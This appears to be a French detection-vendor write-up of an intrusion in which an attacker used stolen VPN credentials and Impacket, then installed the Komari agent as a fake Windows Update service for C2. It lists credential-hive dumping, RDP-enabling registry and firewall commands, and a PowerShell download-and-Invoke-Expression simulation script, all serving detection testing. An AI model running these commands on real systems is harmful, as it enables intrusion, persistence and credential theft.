Komari : L’outil de « surveillance » qui n’avait pas besoin d’être armais
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un acteur de menace a utilisé des identifiants VPN volés pour accéder à un poste de travail Windows d’un partenaire de Huntress, puis a activé RDP et déployé l’agent de surveillance open-source Komari en tant que service SYSTEM déguisé en service de mise à jour Windows grâce à NSSM. Une fois installé, l’agent a établi une connexion WebSocket persistante avec une infrastructure contrôlée par l’attaquant et a fourni des capacités telles que l’exécution de commandes, l’accès au terminal et le ping de type battement de cœur. En pratique, l’outil a fonctionné comme un cadre de commande et de contrôle léger sans nécessiter de militarisation supplémentaire.
Enquête
L’intrusion a commencé par une connexion VPN SSL provenant de 45.153.34.132, suivie de l’utilisation de smbexec.py d’Impacket pour activer RDP et exécuter une série de commandes à distance. Les enquêteurs ont découvert qu’une ligne unique PowerShell avait téléchargé l’installateur Komari directement depuis GitHub et l’avait enregistré comme un service Windows. Ce service a ensuite lancé komari-agent.exe, ouvert une session WebSocket sur le serveur de l’attaquant et permis l’exécution de commandes à distance arbitraires sur l’hôte.
Atténuation
Huntress a réagi en isolant le poste de travail compromis, désactivant le compte utilisateur affecté et arrêtant le service Komari créé par NSSM. La connexion WebSocket malveillante a été bloquée et le mécanisme de persistance a été retiré du système. Les défenses recommandées à suivre incluent le renforcement des contrôles d’accès VPN, la surveillance des événements de création de services suspects, l’inspection de l’activité WebSocket sortante et le renforcement de la sécurité RDP.
Réponse
Les défenseurs devraient détecter la création d’un service Windows nommé Windows Update Service qui pointe vers komari-agent.exe, surveiller les connexions WebSocket sortantes de longue durée vers des hôtes inconnus, et alerter sur l’utilisation d’outils Impacket tels que smbexec.py pour le mouvement latéral. Si identifié, le point de terminaison affecté doit être immédiatement contenu, les identifiants compromis révoqués et le service indésirable retiré de l’environnement.
graphique TB %% Définition des classes classDef action remplir:#99ccff classDef technique remplir:#ffcc99 classDef tool remplir:#cccccc classDef process remplir:#e6e6fa %% Nœuds – Actions / Techniques action_initial_access[« <b>Action</b> – <b>T1078 Comptes Valides</b><br/><b>Description</b>: Utiliser des identifiants VPN volés pour établir une session SSLVPN et obtenir un accès initial. »] class action_initial_access technique action_cred_dump[« <b>Action</b> – <b>T1552.002 Identifiants Non Sécurisés</b><br/><b>Description</b>: Extraire les ruches SAM, Système et Sécurité du registre pour obtenir des hachages de mots de passe. »] class action_cred_dump technique action_enable_rdp[« <b>Action</b> – <b>T1599 Pont de Frontière Réseau</b><br/><b>Description</b>: Modifier la clé de registre fDenyTSConnections pour permettre l’accès au Protocole de Bureau à Distance. »] class action_enable_rdp technique action_firewall_rule[« <b>Action</b> – <b>T1562.004 Affecter les Défenses</b><br/><b>Description</b>: Créer une règle de pare-feu nommée Autoriser RDP qui ouvre le port TCP entrant 3389. »] class action_firewall_rule technique %% Nœuds – Outils / Processus tool_vpn[« <b>Outil</b> – <b>Nom</b>: Client VPN<br/><b>Objectif</b>: Se connecter au réseau d’entreprise via SSLVPN. »] class tool_vpn tool process_regdump[« <b>Processus</b> – <b>Commande</b>: reg save HKLM\SYSTEM\…<br/><b>Description</b>: Extraire les ruches SAM, Système et Sécurité. »] class process_regdump process process_reg_modify[« <b>Processus</b> – <b>Commande</b>: reg add HKLM\SYSTEM\CurrentControlSet\Control\Serveur Terminal /v fDenyTSConnections /t REG_DWORD /d 0 /f<br/><b>Description</b>: Autoriser RDP via la modification du registre. »] class process_reg_modify process process_fw_rule[« <b>Processus</b> – <b>Commande</b>: netsh advfirewall firewall add rule name= »Autoriser RDP » dir=in action=allow protocol=TCP localport=3389<br/><b>Description</b>: Ajouter une règle de pare-feu pour autoriser le trafic RDP entrant. »] class process_fw_rule process %% Connexions action_initial_access –>|utilise| tool_vpn action_initial_access –>|mène à| action_cred_dump action_cred_dump –>|utilise| process_regdump action_cred_dump –>|mène à| action_enable_rdp action_enable_rdp –>|utilise| process_reg_modify action_enable_rdp –>|mène à| action_firewall_rule action_firewall_rule –>|utilise| process_fw_rule
Flux d’Attaque
Détections
Modèles de Ligne de Commande Impacket possibles (via cmdline)
Voir
Exécution Possible de Code à Distance avec Impacket (via cmdline)
Voir
Exécution de Fichier PowerShell dans un Répertoire Suspect avec Politique d’Exécution Bypass (via cmdline)
Voir
Téléchargement ou Chargement via PowerShell (via cmdline)
Voir
Service d’Ombre Possible des Services de Bureau à Distance (via création de processus)
Voir
Modifications Suspicion de Pare-feu via CLI (via cmdline)
Voir
Processus Suspect Utilisant une URL dans la Ligne de Commande (via cmdline)
Voir
Logiciel d’Accès/Management à Distance Alternatif (via création de processus)
Voir
IOCs (HashSha256) pour détecter : Komari : L’Outil de Surveillance qui N’avait pas Besoin d’être Militarisé
Voir
IOCs (SourceIP) pour détecter : Komari : L’Outil de Surveillance qui N’avait pas Besoin d’être Militarisé
Voir
IOCs (DestinationIP) pour détecter : Komari : L’Outil de Surveillance qui N’avait pas Besoin d’être Militarisé
Voir
Détection de l’Exécution d’Impacket smbexec.py et cmd.exe via RDP [Création de Processus Windows]
Voir
Exécution PowerShell pour l’Installation de l’Agent Komari [Windows Powershell]
Voir
Détection de la Persistance de l’Agent Komari via le Service de Mise à Jour Windows [Système Windows]
Voir
Détection d’Accès SSLVPN non Autorisé et Activité Post-Compromission [Pare-feu]
Voir
Exécution de Simulation
Condition Préalable : La Vérification Télémétrique & Pré‑Vol doit avoir réussi.
-
Narratif & Commandes d’Attaque :
Un adversaire a obtenu un point d’ancrage sur un hôte Windows et souhaite installer l’agent Komari C2 pour conserver la persistance et plus tard extraire les informations d’identification (T1003.001). Pour éviter de déclencher des défenses traditionnelles de blocage de script, l’attaquant exécute PowerShell avec-ExécutionPolicy Bypasset télécharge directement l’installateur depuis le référentiel public GitHub. La ligne de commande correspond exactement à la règle de détection, générant la télémétrie attendue. -
Script de Test de Régression :
# Simulation d'Installation de l'Agent Komari $url = "https://raw.githubusercontent.com/komari-monitor/komari-agent/main/install.ps1" $script = (New-Object System.Net.WebClient).DownloadString($url) Invoke-Expression $script -
Commandes de Nettoyage :
# Supprimer tous les fichiers créés par l'installateur simulé (le cas échéant) Remove-Item -Path "$Env:ProgramFilesKomari" -Recurse -Force -ErrorAction SilentlyContinue # Arrêter tout processus Komari qui aurait pu être démarré Get-Process -Name "Komari" -ErrorAction SilentlyContinue | Stop-Process -Force